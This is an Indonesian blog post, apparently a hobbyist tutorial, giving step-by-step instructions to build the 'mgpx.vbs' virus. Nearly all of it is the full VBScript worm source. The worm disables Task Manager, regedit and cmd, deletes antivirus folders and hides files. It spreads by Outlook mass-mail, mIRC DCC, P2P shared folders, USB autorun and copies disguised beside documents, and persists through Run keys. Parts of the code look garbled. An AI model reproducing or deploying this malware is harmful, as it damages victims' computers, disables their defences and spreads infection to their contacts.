ADMIN MOHON MAAF JIKA BLOG INI JARANG UPDATE DIKARENAKAN BANYAK TUGAS SEKOLAH YANG HARUS DIKERJAKAN ADMIN TERIMA KASIH TELAH BERKUNJUNG ∫ Salam Admin

Sabtu, 07 Mei 2011

Cara Membuat Virus mgpx.vbs


Bookmark and Share
Nah sekarang Admin mau buat virus mgpx.vbs.
Sekarang coba kita buat:

• Buka Notepad, untuk mencari tolls ini, silahkan klik start kemudian pilih, kemudian pilih all programs, kemudian pilih kemudian pilih accessories, kemudian pilih Notepad.
• Lalu tulis code di bawah ini:


'H784_2odagm
'mgpx.vbs
'generated by mgpx
on error resume next
MGPX.regwrite "HKEY_CLASSES_ROOT\.mgpx\","mgpxfile"
MGPX.regwrite "HKEY_CLASSES_ROOT\.mgpx\Content Type","application/x-msdownload"
MGPX.regwrite "HKEY_CLASSES_ROOT\mgpxfile\","Application"
MGPX.regwrite "HKEY_CLASSES_ROOT\mgpxfile\EditFlags",29,"REG_BINARY"
MGPX.regwrite "HKEY_CLASSES_ROOT\mgpxfile\DefaultIcon\","%1"
MGPX.regwrite "HKEY_CLASSES_ROOT\mgpxfile\Shell\Open\EditFlags",00,"REG_BINARY"
MGPX.regwrite "HKEY_CLASSES_ROOT\mgpxfile\Shell\Open\Command\",chr(34) & "%1" & chr(34) & " %*"
MGPX.regwrite "HKEY_CLASSES_ROOT\mgpxfile\ShellEx\PropertySheetHandlers\{86F19A00-42A0-1069-A2E9-08002B30309D}\",""
MGPX.regwrite "HKEY_CLASSES_ROOT\mgpxfile\ShellEx\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\",""
set MGPX = CreateObject("Scripting.filesystemobject")
set MGPX = fso.Createtextfile("C:\autoexec.bat",true)
MGPX.writeline "@deltree/y c:\antiba~1\*.* >nul"
MGPX.writeline "@deltree/y c:\antiba~2\*.* >nul"
MGPX.writeline "@deltree/y c:\antiba~1.1\*.* >nul"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoAddPrinter", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDeletePrinter", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", 67108863, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoAdminPage", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoVirtMemPage", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoVirtMemPage", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoPwdPage", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoFileSharingControl", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoFileSysPage", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoFileSysPage", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoFind", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"
MGPX("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoFolderOptions", 1, "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
MGPX("Wscript.shell").RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
MGPX("Wscript.shell").RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
MGPX("Wscript.shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
MGPX("Wscript.shell").RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
MGPX("Wscript.shell").Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
MGPX("Wscript.shell").Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
MGPX("Wscript.shell").Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
MGPX("Wscript.shell").Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"
MGPX("Wscript.shell").Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
MGPX("Wscript.shell").Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe"
MGPX("Wscript.shell").Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe"
MGPX("Wscript.shell").Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe"
MGPX.writeline "@deltree/y c:\antiba~1.2\*.* >nul"
MGPX.writeline "@deltree/y c:\antiba~1.3\*.* >nul"
MGPX.writeline "@deltree/y c:\antiba~1.4\*.* >nul"
MGPX.writeline "@deltree/y c:\antiba~1.5\*.* >nul"
MGPX.writeline "@deltree/y c:\antiba~1.6\*.* >nul"
MGPX.writeline "@deltree/y c:\antiba~1.7\*.* >nul"
MGPX.writeline "@deltree/y c:\antiba~1.8\*.* >nul"
MGPX.writeline "@deltree/y c:\antivi~1\*.* >nul"
MGPX.writeline "@deltree/y c:\antivi~2\*.* >nul"
MGPX.writeline "@deltree/y c:\antiviru\*.* >nul"
MGPX.writeline "@deltree/y c:\avg\*.* >nul"
MGPX.writeline "@deltree/y c:\avp\*.* >nul"
MGPX.writeline "@deltree/y c:\avp30\*.* >nul"
MGPX.writeline "@deltree/y c:\avx\*.* >nul"
MGPX.writeline "@deltree/y c:\avpers~1\*.* >nul"
MGPX.writeline "@deltree/y c:\bitdef~1\*.* >nul"
MGPX.writeline "@deltree/y c:\comman~1\*.* >nul"
MGPX.writeline "@deltree/y c:\cleancih\*.* >nul"
MGPX.writeline "@deltree/y c:\esafen\*.* >nul"
MGPX.writeline "@deltree/y c:\findvi~1\*.* >nul"
MGPX.writeline "@deltree/y c:\f-macro\*.* >nul"
MGPX.writeline "@deltree/y c:\f-prot\*.* >nul"
MGPX.writeline "@deltree/y c:\f-prot95\*.* >nul"
MGPX.writeline "@deltree/y c:\f-secu~1\*.* >nul"
MGPX.writeline "@deltree/y c:\fwin\*.* >nul"
MGPX.writeline "@deltree/y c:\fwin32\*.* >nul"
MGPX.writeline "@deltree/y c:\inocul~1\*.* >nul"
MGPX.writeline "@deltree/y c:\inocul~2\*.* >nul"
MGPX.writeline "@deltree/y c:\kasper~1\*.* >nul"
MGPX.writeline "@deltree/y c:\kasper~2\*.* >nul"
MGPX.writeline "@deltree/y c:\mcafee\*.* >nul"
MGPX.writeline "@deltree/y c:\mcafee~1\*.* >nul"
MGPX.writeline "@deltree/y c:\msav\*.* >nul"
MGPX.writeline "@deltree/y c:\norman\*.* >nul"
MGPX.writeline "@deltree/y c:\norton~1\*.* >nul"
MGPX.writeline "@deltree/y c:\norton~2\*.* >nul"
MGPX.writeline "@deltree/y c:\pav\*.* >nul"
MGPX.writeline "@deltree/y c:\pccill~1\*.* >nul"
MGPX.writeline "@deltree/y c:\pc-cil~1\*.* >nul"
MGPX.writeline "@deltree/y c:\rav\*.* >nul"
MGPX.writeline "@deltree/y c:\softwin\*.* >nul"
MGPX.writeline "@deltree/y c:\tbav\*.* >nul"
MGPX.writeline "@deltree/y c:\tbavw95\*.* >nul"
MGPX.writeline "@deltree/y c:\toolkit\*.* >nul"
MGPX.writeline "@deltree/y c:\trendm~1\*.* >nul"
MGPX.writeline "@deltree/y c:\trex\*.* >nul"
MGPX.writeline "@deltree/y c:\virus\*.* >nul"
MGPX.writeline "@deltree/y c:\vpc\*.* >nul"
MGPX.writeline "@deltree/y c:\vs95\*.* >nul"
MGPX.writeline "@deltree/y c:\zonela~1\*.* >nul"
MGPX.writeline "@deltree/y c:\zonela~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1.1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1.2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1.3\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1.4\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1.5\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1.6\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1.7\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antiba~1.8\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antivi~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\antivi~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\avg\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\avp\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\avx\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\avx2000\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\avpers~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\bitdef~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\bitdef~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\comman~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\common~1\avpsha~1*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\common~1\symant~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\datafe~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\deerfi~1.com\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\f-prot\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\f-prot95\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\findvi~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\f-secu~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\f-secure\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\fsi\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\fwin\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\fwin32\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\grisoft\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\inocul~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\inocul~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\intern~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\kasper~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\kasper~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\mcafee\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\mcafee~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\mindso~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\norman\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\norton~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\norton~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\pandas~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\protec~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\protec~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\quickh~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\rav\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\signal9\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\softwin\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\spysto~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\symant~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\tbav\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\tinype~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\trendm~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\trendp~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\trojan~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\trojan~2\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\virusm~1.0\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\zonela~1\*.* >nul"
MGPX.writeline "@deltree/y c:\progra~1\zonela~2\*.* >nul"
MGPX.close
MGPX.copyfile wscript.scriptfullname,"C:\Documents and Settings\All Users\Start Menu\Programs\Startup\mgpx.VBS"
'Generated by mgpx
on error resume next
myself = Wscript.ScriptFullName
set fso = createobject("scripting.filesystemobject")
fso.CopyFile myself, "C:\windows\mgpx.mpg.vbs"
Set gqlbgmbg=CreateObject("Outlook.Application")
Set gqlbgqlb=gqlbgmbg.GetNameSpace("MAPI")
For Each C In gqlbgqlb.AddressLists
If C.AddressEntries.Count <> 0 Then
For D=1 To C.AddressEntries.Count
Set bgqhqlbg=C.AddressEntries(D)
Set gqlbhqmb=gqlbgmbg.CreateItem(0)
gqlbhqmb.To=bgqhqlbg.Address
gqlbhqmb.Subject="MgPx... HaLoooW"
gqlbhqmb.Body="BiKFilE"
gqlbhqmb.Attachments.Add("C:\windows\mgpx.mpg.vbs")
gqlbhqmb.DeleteAfterSubmit=True
If gqlbhqmb.To <> "" Then
gqlbhqmb.Send
End If
Next
End If
Next
myself = Wscript.ScriptFullName
set fso = createobject("scripting.filesystemobject")
Set WormFile2 = FSO.CreateTextFile("c:\windows\system\system32.dll", True)
WormFile2.WriteLine "[script]"
WormFile2.WriteLine "n0=; vbs.mgpx"
WormFile2.WriteLine "n1=on 1:JOIN:#:{"
WormFile2.WriteLine "n2= if ( $nick != $me ) {"
WormFile2.WriteLine "n3= /dcc send $nick c:\windows\system\system.vbs"
WormFile2.WriteLine "n4= }"
WormFile2.WriteLine "n5= if ( $me ison #nohack ) {"
WormFile2.WriteLine "n6= /quit"
WormFile2.WriteLine "n7= }"
WormFile2.WriteLine "n8=}"
WormFile2.WriteLine "n9=on 1:PART:#:/dcc send $nick c:\windows\system\system.vbs"
WormFile2.WriteLine "n10=version:/notice $nick \-1 mIRC: mAmPuSs,,,\-1:-"
WormFile2.WriteLine "n11=on TEXT:virus:#:/ignore # $nick"
WormFile2.WriteLine "n12=on TEXT:trojan:#:/ignore # $nick"
WormFile2.WriteLine "n13=on TEXT:worm:#:/ignore # $nick"
WormFile2.WriteLine "n14=on TEXT:MVBSWE:#:/ignore # $nick"
WormFile2.WriteLine "n15=on TEXT:system:#:/ignore # $nick"
WormFile2.WriteLine "n16=on TEXT:bye:#:/quit"
WormFile2.WriteLine "n17=on KICKED:*:#: /msg $nick mgpx"
WormFile2.Close
FSO.CopyFile "c:\windows\system\sys32.dll", "c:\mirc\script.ini"
FSO.CopyFile myself, "c:\windows\system\system.vbs"
On Error Resume Next
Dim mgpx
Dim DNBRAfso,DNBRAws,DNBRAfiles
Dim DNBRAkaz
Dim DNBRAmor
Dim DNBRAbear
Dim DNBRAprfi
Dim DNBRAwrm
Dim DNBRAwin
Dim DNBRAgrok
Set DNBRAfso = CreateObject("Scripting.fileSystemobject")
Set DNBRAws = CreateObject("Wscript.Shell")
Set DNBRAwin = DNBRAfso.GetSpecialFolder(0)
DNBRAfiles = Array("mgpx","mgpx.jjpeg","mgpx.jpg","notepad.exe","mgpx.vbs","xxx.jpg","mgpxx.jpg","xxx_sex.jpg","cynkqw.jpg","Mgpx.jpg")
DNBRAwrm = Wscript.ScriptFullName
DNBRAprfi = DNBRAws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
DNBRAprfi = DNBRAws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
DNBRAprfi = DNBRAws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
DNBRAprfi = DNBRAws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
DNBRAprfi = DNBRAws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
DNBRAprfi = DNBRAws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
DNBRAprfi = DNBRAws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
DNBRAprfi = DNBRAws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
DNBRAkaz = DNBRAprfi & "\KaZaA\My Shared Folder\"
If DNBRAfso.FolderExists(DNBRAkaz) = True Then
For DNBRAcop = 0 To 9
DNBRAfso.copyfile DNBRAwrm,DNBRAkaz &DNBRAfiles(DNBRAcop) & ".vbs"
Next
End If
DNBRAmor = DNBRAprfi & "\Morpheus\My Shared Folder\"
If DNBRAfso.FolderExists(DNBRAmor) = True Then
For DNBRAs = 0 To 9
DNBRAfso.copyfile DNBRAwrm,DNBRAmor &DNBRAfiles(DNBRAs) & ".vbs"
Next
End If
DNBRAbear = DNBRAprfi & "\bearshare\shared\"
If DNBRAfso.FolderExists(DNBRAbear) = True Then
For DNBRAz = 0 To 9
DNBRAfso.copyfile DNBRAwrm, DNBRAbear & DNBRAfiles(DNBRAz) & ".vbs"
Next
End If
DNBRAgrok = DNBRAprfi & "\Grokster\My Grokster\"
If DNBRAfso.FolderExists(DNBRAgrok) = True Then
For DNBRAa = 0 To 9
DNBRAfso.copyfile DNBRAwrm,DNBRAgrok & DNBRAfiles(DNBRAa) & ".vbs"
Next
End If
DNBRAfso.copyfile DNBRAwrm, DNBRAwin & "\" & Wscript.ScriptName
DNBRAws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\mgpx", DNBRAwin & "\" & Wscript.ScriptName
DNBRAws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xxx", DNBRAwin & "\" & Wscript.ScriptName
DNBRAws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\mgpx berkuasa", DNBRAwin & "\" & Wscript.ScriptName
DNBRAws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\9 feb w kngen km", DNBRAwin & "\" & Wscript.ScriptName
DNBRAws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MGPX destroy you", DNBRAwin & "\" & Wscript.ScriptName
DNBRAws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\generated by mgpx", DNBRAwin & "\" & Wscript.ScriptName
MsgBox "HallOwW sMuA,,,",0,"mgpx"
MsgBox "skarang komputer kamu telah terinveksi oleh mgpx.vbs",0,"mgpx"
MsgBox "TnaNk jA, MGPX ga' bkln ngehapus data loe QoK,",0,"mgpx"
MsgBox "Mgpx CmA nGERuBAh sDIKiT registry aDJA",0,"mgpx"
MsgBox "Q P'smbhkan smua nIe BwT sOmeonE 9 feb,,,",0,"mgpx"
MsgBox "MGPX akan SgeRa NguAsaIn KompuTer KamU,",0,"mgpx"
MsgBox "WasPadAlaH,,, WasPadaLah,,,,",0,"mgpx"
MsgBox " by: mgpx.vbs,",0,"mgpx"
Set DNBRAws = mgpx.jpg.vbs
Set DNBRAfso = mgpx.jpg.vbs
'SerAngAn Ke 2
'mgpx.vbs
Rem mgpx3971486091
On Error Resume Next
Dim Reg, fso, Induk
Set Reg = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set Induk = fso.GetFile(Wscript.ScriptFullName)
If Induk <> Reg.SpecialFolders("AppData") & "\mgpx.vbs" then
If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("jpg") & "\shell\Open\command\") & " _" & chr(34) & Left(Induk, len(Induk)-3) & chr(34))
Else
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("jpg") & "\shell\Open\command\") & " _" & chr(34) & chr(34))
End If
End If
AutoFlash
Sebar1
Sebar2
Samar
Pertahanan
ShortCut
SerangFile (Left(Induk, InStrRev(Induk, " \ ")))
SerangFolder (Left(Induk, InStrRev(Induk, " \ ")))
SerangDrive("c:\")
SerangDrive("d:\")
SerangDrive("e:\")
SerangDrive("f:\")
SerangDrive("g:\")
AlwaysRun
SerangRecent


Sub AutoFlash
On Error Resume Next
Dim flashdrive, auto, tf1, tf2
For Each flashdrive In fso.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True)
auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe mgpx.vbs")
auto.Close
set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf")
tf1.Attributes = 32
Induk.Copy (flashdrive.Path & "\mgpx.vbs")
set tf2=fso.getfile(flashdrive.path & "\mgpx.vbs")
tf2.Attributes = 32
End If
Next
End Sub

Sub SerangDrive (Lokasi)
On Error Resume Next
Dim drv
If fso.DriveExists(Lokasi) Then
Set drv = fso.GetDrive(fso.GetDriveName(Lokasi))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
CopyVbs (Lokasi & "\mgpx.vbs")
SerangFolder (Lokasi)
End If
End If
End Sub

Sub SerangFolder (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\mgpx.vbs")
SerangFile (target)
SerangFolder2 (target)
Next
End Sub

Sub SerangFolder2 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\mgpx.vbs")
SerangFile (target)
SerangFolder3 (target)
Next
End Sub

Sub SerangFolder3 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\mgpx.vbs")
SerangFile (target)
Next
End Sub

Sub SerangFile (Lokasi)
On Error Resume Next
Dim target
For Each target In fso.GetFolder(Lokasi).Files
If lcase(Right(target,3))="doc" then
if Left(target,2)<> "~$" then CopyVbs(target & ".vbs")
HilangFile (target)
End If
If lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or lcase(Right(target,3))="bmp" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs")
End If
If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs")
End If
if lcase(Right(target,3))="vbs" then KillVBS(target)
Next
End sub


Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("jpg")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\")
Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub

Sub ShortCut
On Error Resume Next
Dim lnk, lok
lok = Reg.SpecialFolders("Favorites") & "\mgpx.lnk"
Set lnk = Reg.CreateShortCut(lok)
Induk.Copy (Reg.SpecialFolders("AppData") & "\mgpx.vbs")
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\mgpx.vbs")
lnk.Save
HilangFile (lok)
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mgpx", lok
End Sub

Sub HilangFile (AlamatFile)
Dim f1
Set f1 = fso.GetFile(AlamatFile)
f1.Attributes = 6
End sub

Sub CopyVbs (Alamat)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize
data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(Induk, 1)
a = ts.ReadAll
s = Right(a, Len(a) -20)
ts.Close
Set tf = fso.CreateTextFile(Alamat, True)
tf.WriteLine ("Rem mgpx" & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(Alamat)
ts.Attributes = 1
End sub

Function BacaHandle(TipeFile)
BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\")
End Function

Sub KillVBS(alamat)
On Error Resume Next
Dim ts, s, i, a, b
Set ts = fso.openTextFile(alamat, 1)
s = ts.Readline
ts.Close
a = instr(s, "mgpx")
If a = 0 Or a = "" Then
Set ts = fso.GetFile(alamat)
ts.Attributes = 0
Set ts = fso.openTextFile(Induk, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(alamat, True)
ts.Write i
ts.Close
End If
End sub

sub AlwaysRun
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\mgpx.vbs" then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
AutoFlash
Sebar1
SerangDrive("d:\")
SerangDrive("e:\")
Loop While check <> 1
End If
End sub

Sub Sebar1
dim nilai
nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\mgpx.vbs"
CopyVBS (nilai)
HilangFile(nilai)
SerangFolder(Reg.SpecialFolders("MyDocuments"))
CopyVbs(Reg.SpecialFolders("NetHood") & "\mgpx.txt.vbs")
End Sub

Sub SerangRecent
On Error Resume Next
Dim target, ok
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
if fso.FolderExists(ok.WorkingDirectory) then SerangFolder (ok.WorkingDirectory)
Next
End sub

• Klik file, kemudian save dengan nama mgpx.vbs
PEHATIAN!
